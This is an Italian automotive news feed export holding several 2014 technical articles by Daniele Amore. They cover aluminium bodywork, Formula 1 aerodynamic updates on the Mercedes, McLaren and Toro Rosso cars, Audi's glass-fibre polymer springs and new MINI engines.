<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/Audi-A2-Montage.jpg"><img decoding="async" class="alignleft size-full wp-image-41654" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/Audi-A2-Montage.jpg" alt="Audi-A2-Montage" width="340" height="241" title="La lotta al peso passa attraverso la diffusione dell&#039;alluminio 1178" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/Audi-A2-Montage.jpg 340w, https://www.giornalemotori.com/wp-content/uploads/2014/07/Audi-A2-Montage-300x213.jpg 300w" sizes="(max-width: 340px) 100vw, 340px" /></a>La casa della stella ha cominciato ad usare alluminio per i suoi modelli di punta dalla supercar SLS, una vettura da altissime prestazioni che giustifica costi elevati dal prezzo di vendita elevato. Poi si è passati alla vettura di lusso della Mercedes la Classe S, volumi produttivi maggiori ma ancora un prezzo finale abbastanza elevato da giustificare l&#8217;investimento. In seguito la casa di Stoccarda ha usato una politica di utilizzo misto tra acciaio e alluminio per ridurre il peso della nuova Classe E, e da poco visto il successo e il segno positivo nei guadagni ha usato la stessa tecnica per la nuova Classe C.  La stessa Honda ha messo in cantiere uno strumento che consente di unire elementi alluminio e acciaio per la scocca e le carrozzerie dei suoi modelli come abbiamo già trattato. Senza dimenticare l&#8217;Audi non certo ferma essendo stata la prima in questo campo. La strada verso la grande diffusione dell&#8217;alluminio ora è tracciata e non si torna indietro, tanto che anche gli americani della Ford sul modello più diffuso del mercato americano la nuova generazione del Pic Up F150 ha deciso di usare una carrozzeria interamente in alluminio. Paradossalmente è come se in Italia si usasse una scocca in alluminio per la Panda o la Punto per capire il livello di diffusione della F150 negli USA</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/2015-mercedes-benz-c-class-chassis-detail.jpg"><img decoding="async" class="alignleft size-full wp-image-41655" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/2015-mercedes-benz-c-class-chassis-detail.jpg" alt="2015-mercedes-benz-c-class-chassis-detail" width="500" height="333" title="La lotta al peso passa attraverso la diffusione dell&#039;alluminio 1179" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/2015-mercedes-benz-c-class-chassis-detail.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/2015-mercedes-benz-c-class-chassis-detail-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>Il timore più grande da parte dei consumatori d&#8217;oltreoceano che i costi di questa corsa alla riduzione del peso siano spostati verso il cliente. Se l&#8217;ottimizzazione dei processi produttivi possono non far aumentare il prezzo di partenza dei modelli, poi resta da vedere come andranno quelli dei ricambi e delle riparazioni da effettuare su un materiale che non è certo dei più facili da lavorare per i carrozzieri. Del resto la diffusione per i lamierati di carrozzeria come alternativa può attingere agli ultimi ritrovati in polimero che viene utilizzato per cofani, porte e parafanghi. Di recente abbiamo parlato di molle in polimero per Audi. Il problema di questo tipo di materiali è la capacità di tenere la impeccabile finitura di vernice nel tempo senza causare differenze di tinta che costruttori di classe premium come Audi, BMW e Mercedes non possono tollerare e quindi ecco che si riaffaccia alla ribalta l&#8217;alluminio, lasciando ai polimeri la diffusione su modelli di fascia più bassa e con meno pretese. Il concetto è che un cliente che possiede una vettura premium con un elemento in alluminio potrebbe ritrovarsi con un esborso di 1635 euro per uno dei cofani più costosi del mercato quello della Jaguar XF nella foto principale, Per inciso la Jaguar è  uno dei costruttori che hanno più esperienza di tutti nell&#8217;utilizzo dell&#8217;alluminio da sempre.</p>
<p style="text-align: justify">Unica soluzione sarebbe quella che le case costruttrici di pari passo con l&#8217;evoluzione tecnica, aiutino anche le officine sul campo ad avere sistemi di riparazione più efficienti. Le carrozzerie devono cambiare completamente metodo di riparazione, attrezzature, professionalità per ridurre  tempi e modalità di riparazione. Senza considerare che un modello con ampie componenti di alluminio per la carrozzeria in una seconda fase ha un deprezzamento maggiore sul mercato proprio perchè un eventuale secondo cliente sa di dover sborsare cifre che talvolta superano il valore dell&#8217;auto per il suo ripristino.  La lotta al peso va bene,  porta benefici a tutti gli utenti con la riduzione delle emissioni di Co2 a patto però che il costo di tale evoluzione non sia completamente a carico degli utenti finali anche se si tratta di un cliente facoltoso che compra una vettura di classe premium. La cosa diventa quanto mai di attualità vista la grande diffusione verso i segmenti inferiori di tale materiale.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>Mercedes W05, evoluzione dell&#8217;ala anteriore, cura maniacale per i dettagli</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 04 Jul 2014 09:52:32 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Ad inizio stagione mostrammo grazie a dei disegni come era fatta l&#8217;ala Mercedes, e azzardammo anche un confronto con  l&#8217;ala anteriore della Ferrari per spiegare le differenze che poi si sono viste in termini prestazionali in campionato. Con questa trattazione vogliamo mostrare ai nostri appassionati come la Mercedes nonostante l&#8217;enorme vantaggio tecnico non stia mai [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/frontwing-af1.jpg"><img decoding="async" class="alignnone size-full wp-image-41534" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/frontwing-af1.jpg" alt="frontwing-af1" width="500" height="176" title="Mercedes W05, evoluzione dell&#039;ala anteriore, cura maniacale per i dettagli 1183" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/frontwing-af1.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/frontwing-af1-300x106.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">Ad inizio stagione mostrammo grazie a dei disegni come era fatta l&#8217;ala Mercedes, e azzardammo anche un confronto con  l&#8217;ala anteriore della Ferrari per spiegare le differenze che poi si sono viste in termini prestazionali in campionato. Con questa trattazione vogliamo mostrare ai nostri appassionati come la Mercedes nonostante l&#8217;enorme vantaggio tecnico non stia mai ferma con le mani in mano portando continuamente piccoli sviluppi per questa delicata zona della monoposto che ne hanno completamente cambiato la fisionomia.</p>
<p style="text-align: justify">
<a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/cascadedifference11.jpg"><img decoding="async" class="alignleft size-full wp-image-41536" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/cascadedifference11.jpg" alt="cascadedifference1" width="219" height="214" title="Mercedes W05, evoluzione dell&#039;ala anteriore, cura maniacale per i dettagli 1184"></a>Nella foto in alto abbiamo accomunato in una sola immagine entrambe le ali, quella a sinistra era la prima progettata ad inizio stagione, quella a destra è l&#8217;ultima sua evoluzione prima dopo il Gran Premio di Austria. Uno degli elementi che saltano subito all&#8217;occhio e la diversa forma della paratia laterale. Spezzata nella prima versione con una piccola aletta che devia il flusso verso il basso, nella seconda è diventata un pezzo unico conformato per separare il flusso al di fuori dell&#8217; ala e indirizzarlo chiaramente verso l&#8217;esterno della ruota anteriore conservando la piccola aletta laterale.  Un altro elemento importantissimo che subito non poche modifiche è la piccola aletta che si trova nella parte anteriore. Questa ha lo scopo di lavorare sui flussi che investiranno la ruota anteriore. Questo componente se lo si prendere singolarmente mostra tutta la complessità di una grande ala ma in scala ridotta. La prima cosa che si vede è l&#8217;assenza del sensore che controlla la temperatura dei pneumatici. Evidentemente fonte di turbolenze nocive in quella posizione. Poi anche la sagomatura di ogni singola aletta è cambiata. Nella seconda versione è formato da due alette verticali che invitano il flusso verso l&#8217;esterno ruota.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/underbodystrakes2.jpg"><img decoding="async" class="alignleft size-full wp-image-41537" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/underbodystrakes2.jpg" alt="underbodystrakes2" width="232" height="250" title="Mercedes W05, evoluzione dell&#039;ala anteriore, cura maniacale per i dettagli 1185"></a>Nella vecchia soluzione era tutto poggiato su uno solo sostegno.  Anche l&#8217;ala principale ha un andamento di ogni singolo profilo alare che ha una curvatura ad onda molto più accentuata. Nella parte più esterna viene suddivisa in più profili per evitare picchi di pressioni al di la delle alette svergolate prima della paratia laterale. Sotto l&#8217;ala principale sono state inserite delle alette supplementari che sono la vera e propria novità che nel corso dei gran premi ha contraddistinto l&#8217;evoluzione di questo componente. Si tratta di quattro alette di forma e lunghezza variabile che hanno il compito di gestire il flusso di aria che intercorre sotto l&#8217;ala principale. La cura maniacale per il dettaglio ha portato i tecnici Mercedes ha istallare dei piccolissimi componenti tra una ala e l&#8217;altra del profilo principale sempre allo scopo di allentare le pressioni che vengono a crearsi in quella zona, ed aiutare il flusso aria davanti alla ruota anteriore che creerebbe una forte resistenza aerodinamica.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>McLaren modifica la sua sospensione a farfalla</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 03 Jul 2014 10:17:22 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Quando in anteprima abbiamo visto la sospensione con i bracci a doppia farfalla della McLaren siamo rimasti talmente sorpresi da pensare che fosse una ottima trovata. A suo tempo demmo delle spiegazioni per come avrebbe dato un certo vantaggio con le nuove n norme che limitano il carico aerodinamico delle monoposto in confgurazione 2014. Purtroppo [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-mclaren-diffuser.jpg"><img decoding="async" class="alignnone size-full wp-image-41496" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-mclaren-diffuser.jpg" alt="aut-mclaren-diffuser" width="500" height="262" title="McLaren modifica la sua sospensione a farfalla 1189" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-mclaren-diffuser.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-mclaren-diffuser-300x157.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">Quando in anteprima abbiamo visto la sospensione con i bracci a doppia farfalla della McLaren siamo rimasti talmente sorpresi da pensare che fosse una ottima trovata. A suo tempo demmo delle spiegazioni per come avrebbe dato un certo vantaggio con le nuove n norme che limitano il carico aerodinamico delle monoposto in confgurazione 2014. Purtroppo quello che sulla carta sembrava essere una genialata progettuale invece in corsa sembra si sia rilevato forse uno dei mali della monoposto di Woking.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-mclaren-diffuser1.jpg"><img decoding="async" class="alignleft size-full wp-image-41497" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-mclaren-diffuser1.jpg" alt="aut-mclaren-diffuser1" width="518" height="276" title="McLaren modifica la sua sospensione a farfalla 1190" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-mclaren-diffuser1.jpg 518w, https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-mclaren-diffuser1-300x160.jpg 300w" sizes="(max-width: 518px) 100vw, 518px" /></a>La McLaren infatti sembra essere quella che più di tutte le motorizzate Mercedes  riescea sfruttare appieno i vantaggi della ottima power unit tedesca. In Austria c&#8217;è stato un parziale passo indietro che ha riguardato proprio questa soluzione per i bracci della sospensione posteriore.  Una modifica importante che faceva parte del pacchetto molto più ampio che ha coinvolto anche l&#8217;ala anteriore  della MP4-29 trattata separatamente in un altro articolo. Infatti si vede chiaramente dalle foto il triangolo superiore ora è di forma classica, che ha debuttato nelle prove nelle libere del Canada ed è stato portato in gara in Austria.  L&#8217;obiettivo sarebbe quello di limitare la resistenza aerodinamica conservando parte della sua funzione di generare carico sotto il fondo usando solo il triangolo inferiore a forma di fungo. Il lavoro di sviluppo ha coinvolto anche tutto il diffusore.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-mclaren-diffuser2.jpg"><img decoding="async" class="alignleft size-full wp-image-41498" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-mclaren-diffuser2.jpg" alt="aut-mclaren-diffuser2" width="482" height="277" title="McLaren modifica la sua sospensione a farfalla 1191" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-mclaren-diffuser2.jpg 482w, https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-mclaren-diffuser2-300x172.jpg 300w" sizes="(max-width: 482px) 100vw, 482px" /></a>Il piccolo nolder che si trova sopra lo scivolo estrattore è stato cambiato nella curvatura esterna, migliorando l&#8217;espansione dell&#8217;aria che arriva dal fondo vettura. Una particolarità sono le piccolissime alette che si vedono nella parte inferiore centrale del diffusore. Queste piccole alette  dovrebbero generare dei piccoli vortici che avrebbero il compito di accelerare l&#8217;aria che proviene dal fondo vettura. In dimensione miscroscopica si tratta della  stessa funzione che aveva il ventilatore che usava la Brabham negli anni 70 per togliere aria dal fondo e schiacciare la vettura a terra.  Resta da capire i reali effetti che si sono avuti in gara da questo pacchetto di nuove soluzioni, in effetti la McLaren non è che abbia fatto passi da gigante. Inoltre va verificato che questo pacchetto di soluzioni sia destinato solo ai tracciati veloci come il Canada e l&#8217;Austria o verrà confermato anche per i tracciati molto più complessi come il prossimo di Silverstone dove ci sono molti più curvoni che rettilinei.</p>
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		<title>Le nuove fiancate della Toro Rosso al Gp d&#8217;Austria</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 02 Jul 2014 09:30:11 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>  La Toro Rosso non è uscita dal Gp Austriaco certo con le ossa intere. Le due monoposto hanno sofferto non poco di problemi di affidabilità di varia natura. Comunque la piccola scuderia di Faenza satellite delle più grande RedBull, ha portato non poche importante modifiche soprattutto alle fiancate della STR9. La prima cosa che [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"> <a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-str-sidepods.jpg"><img decoding="async" class="alignnone size-full wp-image-41449" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-str-sidepods.jpg" alt="aut-str-sidepods" width="500" height="221" title="Le nuove fiancate della Toro Rosso al Gp d&#039;Austria 1195" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-str-sidepods.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-str-sidepods-300x133.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">La Toro Rosso non è uscita dal Gp Austriaco certo con le ossa intere. Le due monoposto hanno sofferto non poco di problemi di affidabilità di varia natura. Comunque la piccola scuderia di Faenza satellite delle più grande RedBull, ha portato non poche importante modifiche soprattutto alle fiancate della STR9. La prima cosa che è saltata all&#8217;occhio rispetto alla monoposto che ha corso in Canada nella foto sotto, è la riduzione della massa del cofano motore. Ora la bombatura nella zona posteriore è stata addolcita per portare più aria alla zona della sospensione posteriore, per una maggiore efficienza aerodinamica.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-str-sidepods1.jpg"><img decoding="async" class="alignleft size-full wp-image-41450" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-str-sidepods1.jpg" alt="aut-str-sidepods1" width="528" height="349" title="Le nuove fiancate della Toro Rosso al Gp d&#039;Austria 1196" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-str-sidepods1.jpg 528w, https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-str-sidepods1-300x198.jpg 300w" sizes="(max-width: 528px) 100vw, 528px" /></a>La curiosità è soprattutto per la diversa conformazione delle due prese laterali per lo smaltimento dell&#8217;aria calda delle masse radianti. Una soluzione molto simile a quella adottata dalla Ferrari per alimentare il profilo estrattore posteriore ed aiutare l&#8217;aria che esce dal fondo vettura per avere maggiore carico aerodinamico senza sacrificare l&#8217;efficienza. In effetti la Mercedes come la Redbull già adottavano una soluzione del genere e ormai anche la Toro Rosso come la Ferrari ma anche altre scuderie coma la Force India ha fatto importanti modifiche per tenere il flusso caldo più basso.  L&#8217;abbassamento della parte posteriore delle fiancate ha portato anche ad avere molta più aria davanti all&#8217;ala posteriore dove ha fatto la ricomparsa il sedile della scimmia che forse ora lavora in modo diverso con questa configurazione. Come si vede dalle foto della vista laterale, l&#8217;abbassamento della zona posteriore ha portato ad un nuovo disegno anche della zona laterale della fiancata.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-str-sidepods2.jpg"><img decoding="async" class="alignleft size-full wp-image-41451" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/aut-str-sidepods2.jpg" alt="aut-str-sidepods2" width="500" height="381" title="Le nuove fiancate della Toro Rosso al Gp d&#039;Austria 1197" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-str-sidepods2.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/aut-str-sidepods2-300x229.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>In questa parte della monoposto si vede come la fiancata è stata molto rastremata in avanti per lasciare più spazio all&#8217;aria proveniente dalla zona anteriore che poi viene indirizzata al di sotto del tubo che funge da sfogo aria calda del motore. L&#8217;intenzione dei tecnici è quella di ricreare in qualche modo quel famoso sigillo termico che usa ancora oggi la Redbull che gli consente di avere carico aerodinamico e trazione anche quando sono state limitate le zone aerodinamiche posteriori e l&#8217;assenza degli scarichi soffianti. Volendo fare un raffronto con la Ferrari che aveva portato una modifica importante alla fiancata, mentre i progettisti di Maranello avevano optato per una fiancata dritta che spingeva aria verso il posteriore, i tecnici della Toro Rosso hanno abbandonato tale soluzione per avere una fiancata scavata che offre un maggiore spazio per il passaggio dell&#8217;aria fresca. Ancora la volta si dimostra come nonostante le vie regolamentari siano bloccate ci sono sempre molteplici soluzioni tecniche che i tecnici perseguono con risultati alterni. Quanto queste modifiche abbiano influito sulla affidabilità della Toro Rosso non è dato saperlo, ma il risultato in termini prestazionali con le due monoposto nei primi 10 in qualifica e nelle prime monoposto per velocità di punta mostra che la strada tracciata è quella giusta.</p>
<p style="text-align: justify">Daniele Amore</p>
<p style="text-align: justify">
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		<title>Audi con molle in polimero per i modelli alto di gamma</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 01 Jul 2014 14:46:02 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>L&#8217;Audi sarà la prima ad adottare sui suoi modelli di serie per l&#8217;alto di gamma molle non più in acciaio ma costituite da materiale sintetico. Le molle saranno prodotte in  materiale fibrorinforzato  che viene denominato GFRP (Glass Fiber Reinforced Polymer) o, in italiano, PRFV (Poliestere Rinforzato con Fibra di Vetro). Le fibre di vetro possono essere denominate di tipo E [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/audi-molle-in-frp-1-5.jpg"><img decoding="async" class="alignnone size-full wp-image-41435" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/audi-molle-in-frp-1-5.jpg" alt="audi-molle-in-frp-1-5" width="400" height="267" title="Audi con molle in polimero per i modelli alto di gamma 1200" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/audi-molle-in-frp-1-5.jpg 400w, https://www.giornalemotori.com/wp-content/uploads/2014/07/audi-molle-in-frp-1-5-300x200.jpg 300w" sizes="(max-width: 400px) 100vw, 400px" /></a></p>
<p style="text-align: justify">L&#8217;Audi sarà la prima ad adottare sui suoi modelli di serie per l&#8217;alto di gamma molle non più in acciaio ma costituite da materiale sintetico. Le molle saranno prodotte in <span style="color: #252525"> materiale fibrorinforzato  che viene denominato </span><b style="color: #252525">GFRP</b><span style="color: #252525"> (Glass Fiber Reinforced Polymer) o, in italiano, </span><b style="color: #252525">PRFV</b><span style="color: #252525"> (Poliestere Rinforzato con Fibra di Vetro). Le fibre di vetro possono essere denominate di tipo E contraddistinte da un modulo elastico di  72 GPa e una  resistenza a trazione di  3445 MPa a temperatura ambiente, oppure di tipo S con modulo elastico di 87 GPa e con resistenza a trazione di 4890 MPa a temperatura ambiente. Questo tipo di molle garantiranno gli stessi standard di sicurezza e di efficacia che garantivano le molle in acciaio. </span></p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/cq5dam.web_.1280.1280.jpeg"><img decoding="async" class="alignleft size-full wp-image-41436" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/cq5dam.web_.1280.1280.jpeg" alt="cq5dam.web.1280.1280" width="500" height="334" title="Audi con molle in polimero per i modelli alto di gamma 1201" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/cq5dam.web_.1280.1280.jpeg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/cq5dam.web_.1280.1280-300x200.jpeg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>La caratteristica delle molle sintetiche saranno quelle che a parità di altezza, avranno un minore numero di spire, con una sezione maggiore della sezione della molla. Il peso complessivo sarà ridotto del 40% con un peso di soli 1,6Kg rispetto ai 2,7kg della classica molla in acciaio. Un risparmio che sulla massa totale di una vettura che si avvicina alle due tonnellate può sembrare esiguo ma che è molto importante nella gestione delle masse non sospese, fondamentali per la tenuta di strada e l&#8217;equilibrio del veicolo nel comportamento in curva. Con queste molle i tecnici dell&#8217;Audi garantiscono una maggiore precisione di guida, ma soprattutto miglioramento del confort generale. Infatti questo materiale con cui sono composte le molle ha la capacità di smorzare le vibrazioni in modo maggiore. Questo particolare vantaggio è dato proprio dalle fibre di vetro che vengono intrecciate e impregnate con la resina epossidica. In sostanza la molla è composta da un nucelo centrale che costituisce l&#8217;anima della spira della molla, intorno a cui sono avvolte ed intrecciate le fibre con un angolo tra di loro di 45 gradi rispetto all&#8217;asse portante della spira. Per rinforzare ulteriormente il materiale si procede ad apportare un rivestimento esterno che viene cotto alla temperatura di 100° che dona alle molle il colore verde che si vede nelle foto.</p>
<p style="text-align: justify">Un altra caratteristica da non sottovalutare è la particolare resistenza agli agenti atmosferici, come per esempio il sale che viene disposto sulle strade quando nevica di inverno, ma anche prodotti di lavaggio, e grassi provenienti dai vari organi meccanici. Uno dei fattori che potrebbe portare un ulteriore sviluppo di questo tipo di molle verso un utilizzo anche sportivo, è il fatto che le resine possono permettere di ottenere elementi elastici di resistenza variabile controllata, con una diversa capacità di assorbimento in base alle esigenze del pilota e alle condizioni di curva. Ultimo ma non da sottovalutare è il risparmio energetico nel processo produttivo che porta sicuramente benessere anche all&#8217;ambiente.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>la Nuova MINI con nuovi motori</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 30 Jun 2014 14:14:47 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
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					<description><![CDATA[<p>La Nuova MINI continua a crescere. Dopo il successo del suo lancio sul mercato, la gamma di motori per il nuovo Originale del segmento delle piccole auto premium continuerà ad ampliarsi a partire dal luglio 2014. In futuro, la scelta comprenderà la Nuova MINI Cooper SD, la variante diesel più potente, e il nuovo modello [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/slide-7.jpg"><img decoding="async" class="alignnone size-full wp-image-41411" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/slide-7.jpg" alt="slide (7)" width="500" height="375" title="la Nuova MINI con nuovi motori 1205" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-7.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-7-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-7-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">La Nuova MINI continua a crescere. Dopo il successo del suo lancio sul mercato, la gamma di motori per il nuovo Originale del segmento delle piccole auto premium continuerà ad ampliarsi a partire dal luglio 2014. In futuro, la scelta comprenderà la Nuova MINI Cooper SD, la variante diesel più potente, e il nuovo modello MINI One First dotato di un motore d’ingresso a benzina. Entrambe le novità offrono un equilibrio eccezionale tra divertimento di guida e consumi contenuti. In totale, vi sono ora sette propulsori disponibili per il modello costruito nello stabilimento britannico di MINI ad Oxford, quattro motori a benzina e tre<br />
diesel, tutti di nuovissimo sviluppo.</p>
<p><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/slide-2.jpg"><img decoding="async" class="alignleft size-full wp-image-41412" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/slide-2.jpg" alt="slide (2)" width="500" height="375" title="la Nuova MINI con nuovi motori 1206" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-2.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-2-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-2-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a>La nuova generazione di motori a tre o quattro cilindri e la tecnologia MINI TwinPower Turbo creano le basi per un evidente miglioramento in termini sia di agilità sia di efficienza nella nuova versione di MINI. Lo dimostrano anche gli ultimi arrivi nella gamma. Il propulsore della Nuova MINI Cooper SD è il motore diesel più potente di sempre per un veicolo del marchio MINI. Questo motore 2,0 litri 4 cilindri eroga una potenza massima di 125 kW/170 CV ed una coppia massima di 360 Nm già a 1.500 giri/min. La sua tecnologia MINI TwinPower Turbo dispone di un sistema di turbocompressione con geometria variabile della turbina e di iniezione common rail, con iniettori a magnete che funzionano ad una pressione massima di 2.000 bar. Questo abbinamento consente sia un’erogazione della potenza altamente spontanea sia un’alimentazione controllata del carburante.<br />
Grazie alla potenza del nuovo motore diesel, la MINI Cooper SD accelera da zero a 100 km/h in 7,3 secondi. La trasmissione Steptronic a sei velocità, disponibile come opzione, consente un’accelerazione da zero a 100 km/h in 7,2 secondi.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/slide-3.jpg"><img decoding="async" class="alignleft size-full wp-image-41413" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/slide-3.jpg" alt="slide (3)" width="500" height="375" title="la Nuova MINI con nuovi motori 1207" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-3.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-3-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/06/slide-3-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a>Questo temperamento sportivo viene abbinato ad un consumo medio di 4,0-4,1 litri di carburante per 100 chilometri in entrambi i casi, con emissioni di CO2 di 110 grammi per chilometro (trasmissione automatica: 104-108 g/km, valori derivati dal ciclo di prova UE, a seconda del formato di pneumatici scelto).  Anche nella Nuova MINI One First, l’avanzata tecnologia motoristica assicura che il divertimento di guida tipico del marchio venga abbinato ad un’efficienza esemplare. La tecnologia MINI TwinPower Turbo del suo motore 3 cilindri a benzina comprende turbocompressione, iniezione diretta della benzina e il controllo variabile dell’albero a camme sui lati dell’aspirazione e dello scarico (doppio VANOS). In tal modo, una potenza di 55 kW/75 CV viene erogata dal motore 1,2 litri. Questa variante d’ingresso tra i motori a benzina offre anche un’erogazione spontanea della potenza, con la coppia massima di 150 Nm già disponibile a 1.400 giri/min. La nuova MINI One First raggiunge la velocità di 100 km/h in 12,8 secondi. I suoi consumi medi si assestano sui 5,0-5,2 litri per 100 chilometri, mentre le emissioni di CO2 sono tra i 117 ed i 122 grammi per chilometro (valori basati sul ciclo di prova UE, a seconda del formato degli pneumatici scelto).</p>
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		<title>Anche la McLaren modifica l&#8217;ala anteriore nel Gp Austria</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 28 Jun 2014 12:07:46 +0000</pubDate>
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		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Anche la McLaren nonostante la profonda crisi cerca in qualche modo di sfruttare l&#8217;enorme potenzialità della Power unit Mercedes. Infatti in Austria la scuderia inglese si è presentata come molte concorrenti con una nuova ala anteriore. La modifica più importante riguarda il profilo alare secondario diviso in tre flap. Ora con la nuova versione non [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/aut-mclaren-fw.jpg"><img decoding="async" class="alignnone size-full wp-image-41354" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/aut-mclaren-fw.jpg" alt="aut-mclaren-fw" width="500" height="400" title="Anche la McLaren modifica l&#039;ala anteriore nel Gp Austria 1209" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/06/aut-mclaren-fw.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/06/aut-mclaren-fw-300x240.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify;">Anche la McLaren nonostante la profonda crisi cerca in qualche modo di sfruttare l&#8217;enorme potenzialità della Power unit Mercedes. Infatti in Austria la scuderia inglese si è presentata come molte concorrenti con una nuova ala anteriore. La modifica più importante riguarda il profilo alare secondario diviso in tre flap. Ora con la nuova versione non hanno tutte lo stesso tipo di curvatura ma tra la seconda e la terza in alto c&#8217;è un notevole spazio. Il solito scopo non è quello di generare carico quando quello di far lavorare la parte centrale del muso della monoposto con maggiore aria al fondo vettura ma soprattutto con una qualità del flusso aria migliore.</p>
